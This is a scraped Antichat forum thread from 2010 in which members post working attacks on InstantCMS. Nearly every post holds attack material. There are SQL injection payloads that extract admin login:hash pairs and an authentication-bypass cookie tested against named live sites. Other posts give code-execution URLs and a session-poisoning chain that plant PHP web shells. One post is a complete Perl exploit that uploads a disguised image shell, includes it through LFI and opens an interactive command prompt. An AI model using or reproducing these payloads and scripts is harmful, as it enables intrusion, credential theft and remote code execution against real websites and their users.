ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 05.04.2010, 17:36
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Blind Sql inj v.1.5.3
index.php
PHP код:
...
$inCore->onlineStats();   //обновляем статистику посещений сайта
... 
/core/classes/db.class.php
PHP код:
...
public function 
query($sql){
    
$inConf cmsConfig::getInstance();
    
$sql $this->replacePrefix($sql);
    
$result mysql_query($sql$this->db_link);

    if (
$inConf->debug){
        
$this->q_count  += 1;
        
$this->q_dump   .= '<pre>'.$sql.'</pre><hr/>';
    }

    if (
mysql_error() && $inConf->debug){
        die(
'<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
    }
    
    return 
$result;
}... 
/core/cms.php
PHP код:
...
//собираем информацию о текущем пользователе
        
$sess_id    session_id();
        
$ip         $_SERVER['REMOTE_ADDR'];
        
$useragent  $_SERVER['HTTP_USER_AGENT'];
        
$page       $_SERVER['REQUEST_URI'];
        
$refer      = @$_SERVER['HTTP_REFERER'];
... 
PHP код:
...
if (@
$_CFG['stats']){ //если включен сбор статистики на сайте
            //смотрим, есть ли запись про текущего пользователя
            
$sql "SELECT id FROM cms_stats WHERE (ip = '$ip' AND page = '$page')";
            
$result $inDB->query($sql) ;
            
//если записи нет - добавляем
            
if (!$inDB->num_rows($result)){
                
$sql "INSERT INTO cms_stats (ip, logdate, page, agent, refer) VALUES ('$ip', NOW(), '$page', '$useragent', '$refer')";
                
$inDB->query($sql) ;
            }
        }... 
@$_CFG['stats'] - перемененная по умолчанию выключена, но если админ собирает статистику, то нам очень повезло! Можна крутить как blind SQL ing ):
Надо :
/includes/config.inc.php
PHP код:
...$_CFG['stats']     = '1';... 
Если включена еще $_CFG['debug']=1, то нам повезло вдвойне!Можна крутить как blind SQl ing через ошибку!
В даном случае будет такое вот сообщение:
Цитата:
DATABASE ERROR:

INSERT INTO cms_stats (ip, logdate, page, agent, refer) VALUES ('127.0.0.1', NOW(), '/content/21/stati', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9', 'http://instant/'')

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''http://instant/'')' at line 1
Условия:
- включена переменная сбора статистики (лучше когда еще и отладки!);
- бегать по разным страницам || с разных ИП;
- mg=off.

Jokester : Где эксплуатация?

Последний раз редактировалось Strilo4ka; 05.04.2010 в 19:15..
 
Ответить с цитированием

  #12  
Старый 05.04.2010, 19:13
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Вот она:
в User_Agent:
hack', (select * from (select name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1),name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1))x))/*

Цитата:
DATABASE ERROR:

INSERT INTO cms_stats (ip, logdate, page, agent, refer) VALUES ('127.0.0.1', NOW(), '/faq/13', 'hack', (select * from (select name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1),name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1))x))/*', 'http://instant/search/25')

Duplicate column name 'admin:21232f297a57a5a743894a0e4a801fc3'
С бинарным поиском надо писать ескплоит разве что!

Последний раз редактировалось Strilo4ka; 05.04.2010 в 19:15..
 
Ответить с цитированием

123
  #13  
Старый 24.04.2010, 07:29
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию 123

Релиз версии 1.6
22 апреля 2010


blind SQL inj & обход авторизации

Предыдущая тоже.

core/classes/user.class.php
PHP код:
...public function autoLogin(){

        
$inDB       cmsDatabase::getInstance();
        
$inCore     cmsCore::getInstance();
        
        if (
$inCore->getCookie('userid') && !$this->id){

            
$cookie_code $inCore->getCookie('userid');

            
$sql "SELECT * FROM cms_users WHERE md5(CONCAT(id, password)) = '$cookie_code' AND is_deleted=0 AND is_locked=0";
            
$res $inDB->query($sql);

            if(
$inDB->num_rows($res)==1){
                
$userrow $inDB->fetch_assoc($res);
                
session_register('user');
                
$_SESSION['user'] = self::createUser($userrow);
                
cmsCore::callEvent('USER_LOGIN'$_SESSION['user']);
                
$inDB->query("UPDATE cms_users SET logdate = NOW() WHERE id = ".$_SESSION['user']['id']);
                
$this->resetStatTimer();
            } else {
                
$inCore->unsetCookie('user_id');
            }

        }

        return 
true;

    }... 
core/cms.php
PHP код:
...public function getCookie($name){
        if (isset(
$_COOKIE['InstantCMS'][$name])){
            return 
$_COOKIE['InstantCMS'][$name];
        } else {
            return 
false;
        }
    }... 
core/classes/db.class.php
PHP код:
.../////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
public function query($sql$ignore_errors=false){
    
$inConf cmsConfig::getInstance();
    
$sql $this->replacePrefix($sql);
    
$result mysql_query($sql$this->db_link);

    if (
$inConf->debug){
        
$this->q_count  += 1;
        
$this->q_dump   .= '<pre>'.$sql.'</pre><hr/>';
    }

    if (
mysql_error() && $inConf->debug && !$ignore_errors){
        die(
'<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
    }
    
    return 
$result;
}... 
Как видно здесь блинд & обход авторизации (можно так сказать).
Устанавливаем в куки ; InstantCMS[userid]=antichat' or group_id=2/*

group_id=2 - група админов поидеи!
В детали не уходил, ну у меня в таблице в админа 2 .
Появляються линки в панели, доступные для админа и можно смело заходить, тока не сразу, сессионные куки тока установляться. Заходим на любой линк ):.

Вот так будет точнее, потому что надо чтоб запрос вернул одну запись.
В одной групе может быть много админов, и кука выше толку не даст!:
; InstantCMS[userid]=antichat' or 1=1 limit 0,1/*
Если попался не админ, то крутим limit.

Мы админ, мои приветствия!

Блинд можно бистрее крутить через ошибку если cms крутиться в режиме отладки.
Выше в посте о блинде в предыдущей версии было названа переменная, которая отвечает и где находиться.

target: index.php (та й в принцыпе любая!)

Дорк: InstantCMS

Условие: mg=off

пример ис жызни:
http://instant-cms.ru
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

http://lig.com.ua/
в режиме отладки.
; InstantCMS[userid]=12345' or 1=1 limit 0,1#

http://bboldino.ru
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

http://www.combatshop.biz
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

в режиме отладки!
http://expo.sec4all.info
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

Баги не пофиксены.
Code Execution + LFI(Win) и Blind SQL inj описаны в постах выше.

Result:
http://www.instant/admin/index.php?url=Location:+index.php&f=css/1.php&cod=%3C?+system($_GET[cmd]);+?%3E&view=;file_put_contents($_GET[f],$_GET[cod]);header($_GET[url]);rand

http://www.instant/admin/css/1.php?cmd=dir

Можна еще урл-кодировать чтоб непаливно было! Не забываем что file_put_contents - PHP 5.

Имеем при mg=on!

Можна поиграться с каталогом proc или с протоколом дата (php>=5.2.0 і allow_url_include=on)!

На сколько фантазии хватит на стока и пыхаем код1

С блинд анолочино поста выше.

Главное - заманить авторизованого админа!

Последний раз редактировалось Strilo4ka; 24.04.2010 в 10:59..
 
Ответить с цитированием

  #14  
Старый 06.05.2010, 03:23
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

InstantCMS <=== 1.5.3 LFI
Выкладываю свою прошлогоднюю, но интересную находку. В последней недавней версии дыра залатана
PHP код:
................
if (isset(
$_REQUEST['do'])){ $do $_REQUEST['do'];    } else { $do 'rss';         }
    if (isset(
$_REQUEST['target'])){ $target $_REQUEST['target'];    } else { die(); }
    if (isset(
$_REQUEST['item_id'])) { $item_id $_REQUEST['item_id']; } else { die(); }

    if (!isset(
$cfg['addsite'])) { $cfg['addsite'] = 1; }
    if (!isset(
$cfg['icon_on'])) { $cfg['icon_on'] = 0; }
    if (!isset(
$cfg['maxitems'])) { $cfg['maxitems'] = 50; }

////////////////////// RSS /////////////////////////////////////////////////////////////////////////////////////////////////
if ($do=='rss'){
    
$rss '';
    
    if (
file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){
        
        
$inCore->includeFile('components/'.$target.'/prss.php');
        
        eval(
'rss_'.$target.'($item_id, $cfg, $rssdata);');
............. 
Need: MQ=OFF
Как юзать:
передаем item_id, чтобы не вызвать die и evil file через target.
далее можно залить "картинку" в профиле и сделать инклуд.
http://localhost/components/rssfeed/frontend.php?item_id=1&target=evilfile%00
Для удобства написал сплоент дающий выполнение системных команд через LFI.
Работает безотказанно =)
CODE EXECUTION

Код:
#!/usr/bin/perl
######################
# Подключим библиотеки
######################
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use HTTP::Request::Common;
use Time::HiRes qw(sleep);
#####################
# Зададим параметры
#####################
getopt("d:h:u:p");
if (!$opt_h) {
&logo(); 
exit();
}
if (!$opt_d) {
&logo(); 
exit();
}
if (!$opt_u) {
&logo(); 
exit();
}
if (!$opt_p) {
&logo(); 
exit();
}
$host=$opt_h;
$dir=$opt_d;
$user=$opt_u;
$password=$opt_p;
$page2="index.php";
$page1="core/auth.php";
$page11="login";

$ereg = '<cmd>(.*?)<\/cmd>';
$cmd="echo matrix";
$fucking_shell='<cmd><?php system($_REQUEST[cmd]); ?></cmd>';
$exit="exit";
######################
#   Лицо                    
#####################
# 

sub logo() 
{
print
"\t\t
 ###########################################################################
 ############          INSTANT CMS <=== 1.5.3 remote code execution        #
 ############             coddddeeddd by The matrix (antichat.ru)          #
 ###########################################################################
 # usage: exploit.pl                                                       # 
 #-h [host]                                                                #
 # -d[path with site]                                                      #
 # -u [login]                                                              #
 # -p [password]                                                           #
 # exploit.pl -h http://site -d / -u evil -p qwer                          #
 #      !!!!!!!! NEEEEED MAGIC_QUOTES_GPC=OFF                              # 
 #                                                                         #
 #                                                                         # 
 ###########################################################################\n\n";
}
#############################
# аутификация                       
#############################
sub auth() {
		print"[~]login\n";
		my $browser = LWP::UserAgent->new;
		$client = LWP::UserAgent->new();
		$cookie_jar = HTTP::Cookies->new();
		$client->cookie_jar($cookie_jar);
		$op='ok';
	
		$answer=$client->post(
		"http://".$host.$dir.$page1,
				[
				'login' => $user,
				'pass' => $password,
				'Submit'=> $op
				]
);
}
sub auth2() {
		print"[~]login\n";
		my $browser = LWP::UserAgent->new;
		$client = LWP::UserAgent->new();
		$cookie_jar = HTTP::Cookies->new();
		$client->cookie_jar($cookie_jar);
		$op='ok';
	
		$answer=$client->post(
		"http://".$host.$dir.$page11,
				[
				'login' => $user,
				'pass' => $password,
				'Submit'=> $op
				]
);
}
#############################
# тест печенюшек        
#############################
#

	sub test() {
	$response = $client->get("http://".$host.$dir.$page2
	);
	$ans = $response->content;
	if ($ans =~ /logout/){
	print"[+]login complete";
	}
else{
	print "\n[-]login failed...Ok...Time for plan B...";
	$debug=1;
}
	}


	sub test2() {
	$response = $client->get("http://".$host.$dir.$page2
	);
	$ans = $response->content;
	if ($ans =~ /logout/){
	print"[+]login complete";
	}
else{
	print "\n[-]login failed. check you account";
	exit();
}
	}
		

#######################
# Get id
#######################
sub id {
print "\n[~] Getting id";
	$response = $client->get("http://".$host.$dir.$page2
	);
	$ans = $response->content;
if ($ans =~ /users\/0\/(.*?)\/profile.html/) {
$id=$1;
print "\n[+] Yes, id = $id";
$page3="users/0/".$id."/addphoto.html";
}
	else {
	print "\nfailed get id";
	exit()
	}
}
#######################
# Upl0ad fucking shell
#######################

sub main {
print "\n[~]Uploading...";
$response = $client->request(POST "http://".$host.$dir.$page3,
Content_Type => 'multipart/form-data', 
Content   =>
[
upload => 1,
userid => $id,
picture =>
	[
		undef,
		"123.jpg",
		content => $fucking_shell,
		"Content-Type"	=> "image/gif"
	]
]);
$ans = $response->content;
open(F1,"> one.txt");
print (F1 "$ans");
	print "\n[~]Get some fucking image hash";
	if ($ans =~ /name="imageurl" value="(.*?)"/) {
	print "\n[+]image hash = $1";
$hash=$1;
	}
	}
########################
# CODE EXECUTION Test!
########################
sub exec {
$page4="components/rssfeed/frontend.php?item_id=1&target=../images/users/photos/$hash%00";
print "\n[~] Testing code execution";
	$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[ 
cmd => $cmd
]
	);
$ans = $response->content;
if ($ans =~ /matrix/) {
$expl0it3d=1;
print "\n[+] Target has been Exp0it3d!!!!!!!!";
}
	else
	{
		print "\n[-]sorry magic_quotes=on or cms unvulnerable";
	}
}


&logo();
&auth();
&test();
if ($debug==1) {
&auth2();
&test2();
	}
&id();
&main();
&exec();
########################
#Счастье
########################
if($expl0it3d == 1) {
while($cmd !~ /^exit$/i) {
print "\ncmd-line\#:";
$cmd=<STDIN>;
chomp $cmd;
$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[ 
cmd => $cmd
]
	);
$ans = $response->content;
if ($ans =~/$ereg/si) {
print "$1";
}
else {
print "what the fuck????";
}
}
	}

Последний раз редактировалось The matrix; 06.05.2010 в 19:43..
 
Ответить с цитированием

  #15  
Старый 07.05.2010, 22:02
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

2Strilo4ka
Цитата:
Сообщение от Strilo4ka  
- включена переменная сбора статистики (лучше когда еще и отладки!);
- бегать по разным страницам || с разных ИП;
- mg=off.
MQ слеширует в GPC. А $_SERVER['HTTP_USER_AGENT'] тронут не будет. Так что эта бага не такая уж и бесполезная, как кажется на первый взягляд=)
 
Ответить с цитированием

  #16  
Старый 07.05.2010, 22:07
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Цитата:
Сообщение от The matrix  
2Strilo4ka

MQ слеширует в GPC. А $_SERVER['HTTP_USER_AGENT'] тронут не будет. Так что эта бага не такая уж и бесполезная, как кажется на первый взягляд=)
Это понятно... Очепятка была что в условии написал.
 
Ответить с цитированием

  #17  
Старый 08.05.2010, 04:53
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Еще раз возвращаемся к єтой CMS.

Cмотрим админку в самой последней версии.
/admin/includes/cp.php
PHP код:
function cpProceedBody(){
    
    
ob_start();
    
    
$link str_replace('/'''$GLOBALS['applet']);
    
$link str_replace(':'''$link);
    
$link str_replace('-'''$link);
    
$file $link '.php';
    include(
'applets/'.$file);
    eval(
'applet_'.$link.'();');
    
    
$GLOBALS['cp_page_body'] = ob_get_clean();
    

Как видно, баг не пофиксен.

Искал уязвимости, но увилел запись в сесcию и неоставил без внимания.
/components/price/cart.php
PHP код:
    define("VALID_CMS"1);    
    
session_start();

    include(
'../../includes/config.inc.php');            //configuration
    
include('../../includes/database.inc.php');        //database connection
    
include('../../core/cms.php');                    //CMS engine
    
    
if (isset($_REQUEST['addtocart'])){
    
        if(!isset(
$_SESSION['cart'])) { session_register('cart'); $_SESSION['cart'] = array(); }
    
        foreach(
$_REQUEST as $key=>$value){
            if (
strpos($key'item')===0){
                if(isset(
$_SESSION['cart'][$value])){
                    
$_SESSION['cart'][$value] += $_REQUEST['kolvo'][$value];
                } else {
                    
$_SESSION['cart'][$value] = $_REQUEST['kolvo'][$value];
                }
            }
        }
        
header('location:/price/cart.html');
    }

    if (isset(
$_REQUEST['clearcart'])){
        
$_SESSION['cart'] = '';
        
session_unregister('cart');
        
header('location:/price/cart.html');
    } 
Результат:
Пишем в сесию выполнение eval.
PHPSESSID=c44e2475683109ef2da34559883edc2f
_http://[host]/[path]/components/price/cart.php?addtocart&item=e&kolvo[e]=<? $handle = fopen('b.php', 'w');fwrite($handle, '<? eval(stripslashes($_REQUEST[f])); ?>');fclose($handle); ?>

После CSRF в админке

Win
_http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=Z:\tmp\sess_c44e2475683109ef2da34559883ed c2f
Диск на винде можно, например, с константы __FILE__ выдрать.

Unix
_http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=/tmp/sess_c44e2475683109ef2da34559883edc2f


Имеем выполнение кода для нас
_http://[host]/[path]/admin/b.php?f=phpinfo();


плюс - не надо задевать другие ресурсы, тоесть вся информация крутиться на целевом сервере!

Можно заюзать LFI The matrix. Посмотрел в 1.5.2 файл cart.php - такой же ):

Последний раз редактировалось Strilo4ka; 08.05.2010 в 05:25..
 
Ответить с цитированием

  #18  
Старый 08.05.2010, 22:49
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

0day

минуточку внимания.
Instant cms.
Множественные sql инъекции
Применимо:Для всех версии(на сегодня последняя 1.6).
Sql inj много как в insert, как в Update так и в select запросах. Рассмотрим одну из них, повкуснее, для которой не требуется ни RG=ON не MQ=off!!!
Постараюсь рассказать процесс и его суть в точности как он проходил у меня

идем в раздел блогов, новостей или статей. Выбираем произвольный блог статью или новость. Я выбрал новость. Под новостью приведена вставка модуля голосования. Тыкаем на кнопочку "Одобрить". И снифаем пакет. Получилось:
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: PHPSESSID=b1d2ebf29a56a9d67ad9c792526ea4f7
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39

cd=1&opt=plus&target=content&item_id=20
POST'ом перекинули значения на /core/ajax/karma.php
вот са фак:
Сорри. Забегу вперед. С этими переменными мы будем иметь дело, код говорит нам о ненужности RG.
/core/ajax/karma.php
PHP код:
    if (!isset($_REQUEST['target'])) { die(2); } else { $target $_REQUEST['target']; }
    if (!isset(
$_REQUEST['item_id'])) { die(3); } else { $item_id $_REQUEST['item_id']; }    
    if (!isset(
$_REQUEST['opt'])) { die(4); } else { $opt $_REQUEST['opt']; } 
теперь функции
PHP код:
if (!$inUser->update()) { $inCore->halt(); }
................................
    
$inCore->loadLib('karma');
    
    if (
$opt=='plus'){
        
cmsSubmitKarma($target$item_id10);
    }
    if (
$opt=='minus'){
        
cmsSubmitKarma($target$item_id, -1);
    }

    
$postkarma cmsKarma($target$item_id);
........................... 
Роем скрипты и смотрим где объявляются функции loadLib() и cmsKarma(); // найти мне помогла тузла от raz0r'a.
/core/cms.php
PHP код:
    public function loadLib($lib){
        
$libfile PATH.'/core/lib_'.$lib.'.php';
        if (
file_exists($libfile)){
            include_once(
$libfile);
            return 
true;
        } 
понятно. Значит
$inCore->loadLib('karma');
подгрузит нам:
/core/lib_karma.php
Значит что тут.
/core/lib_karma.php
PHP код:
function cmsKarma($target$item_id){ //returns array with total votes and total points of karma
    
$inDB cmsDatabase::getInstance();
    
$sql "SELECT *, SUM(points) as points, COUNT(id) as votes
            FROM cms_ratings 
            WHERE item_id = 
$item_id AND target='$target'
            GROUP BY item_id"
;
    
$result $inDB->query($sql);
    if (
$inDB->num_rows($result)){
        
$data $inDB->fetch_assoc($result);
        
$data['points'] = round($data['points'], 2);
    } else {
        
$data['points'] = 0;
        
$data['votes'] = 0;
    }    
    return 
$data;

Вот и запрос. Судя по karma.php и lib_karma.php $item_id и $target не обрабатываются. Инэектить мы будем $item_id тк в запросе он не обрамлен кавычками, а значит мы обойдем MQ =)
Вернемся к нашему отснифаному пакету. И модифицируем его так:
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39

cd=&opt=plus&target=conten
Это логическая единица.
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39

cd=&opt=plus&target=conten
Это логический 0.
По причине фильтра POST данных переопределяем item_id через куки.
Как и для прошлой уязвимости. Для удобства написал эксплойт. Но пока я похраню его у себя, чуть позже выложу. В паблик пока не солью, пробиваемость сайтов с гугла высокая. Пишите сами или юзайте там где можно Duplicate column метод.
Большое послесловие. Как я и говорил sql инж очень много. Завязывается все вокруг $target и $item_id. Фкнкции из файла lib_karma.php используются много где не только в karma.php.
lib.karma.php
PHP код:
function cmsSubmitKarma($target$item_id$points){
    
$inUser cmsUser::getInstance();
    
$inDB   cmsDatabase::getInstance();
    
$id     $inUser->id;
    
$ip     $_SERVER['REMOTE_ADDR'];
    if(!
cmsAlreadyKarmed($target$item_id$id)){
        
$sql "INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id$points, '$ip', '$target', $id, NOW())";
        
$inDB->query($sql);
    }
    return 
true;

вышеупомянутая SubmitKarma
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW())
Можно было бы составить evil запрос и вывести значение прямо в points, после чего его можно было наблюдать на странице новости без всяких blind, но структура таблицы нам не позволяет этого сделать поле points имеет type int(11). Поэтому:
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())
логический 0
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())
Логическая единица.

Последний раз редактировалось The matrix; 08.05.2010 в 23:00..
 
Ответить с цитированием

  #19  
Старый 10.05.2010, 00:08
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

sql inj
"Админский зл0й баннер"
Уязвимы все версии.
Не такая полезная бага, чем те, которые я постил выше, она пригодится если уязвимости выше залатаны, и удалось попасть в админкую.
NEEED's =)
Права админа
MQ=off
Заходим. Админка=>Компоненты=>баннер ы.
Запрос добавления злых админских баннеров следующий:
Код:
INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published)
							VALUES ('$position', '$typeimg', '$filename', 0, 0, '$maxhits', $maxuser, 1, NOW(), '$title', '$link', $published)";
красненькая переменная, попадает в запрос без обработок.
смотрим тайп.
Field:link
Type:varchar(250)

этот столбец нам подходит. В него и будем писать злой запрос.
Заполняем форму, выбираем картинку только
Забиваем в название баннера следующую шляпу:
Код:
1111', (select concat(login,0x3a,password) from cms_users where group_id=2),'1') #
запрос примет вид
Код:
INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published)
							VALUES ('$position', '$typeimg', '$filename', 0, 0, '$maxhits', $maxuser, 1, NOW(), '1111', (select concat(login,0x3a,password) from cms_users where group_id=2),'1') #', '$link', $published)";
все. Теперь заходим в список наших баннеров. Открываем наш зл0й баннер. и в поле
'ссылка баннера' наблюдаем подобную картину:
Код:
admin:5f4dcc3b5aa765d61d8327deb882cf99
на этом все.

Последний раз редактировалось The matrix; 10.05.2010 в 00:23..
 
Ответить с цитированием

  #20  
Старый 10.05.2010, 04:43
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

a
XSS
для разнообразия XSS .
у этой цмс к хсс прям какой-то иммунитет.
Но все же лазейка нашлась.
по сути.
Свежайшая xss. Заключается в "щедящей" обработке файлов залитых юзером.
Идем в Профиль=>Content=>Файлы. Видим, что можно лить всяко-разные файлы. Единственное интересное расширение, которое поддерживает эта заливалка-это .htm. Ну вот собственно мы и зальем htm файл с evil JS кодом. Который потом вежливо выполняется.
что есть:
[+] Сессия генерируется из login'a и password'a.
[+]Сессия очень живучая(пока вражеский админ не сделает logout).
[+]Файл на сервере выглядить безобидно. А значит Впарить ссылку на него не трудно.
[+] сессия постоянная см п1 . Значит использовать можно неоднократно.
[+] на момент написания уязвимы все версии движка.
[-] Как не крути а xss пассивная.

Последний раз редактировалось The matrix; 10.05.2010 в 04:56..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ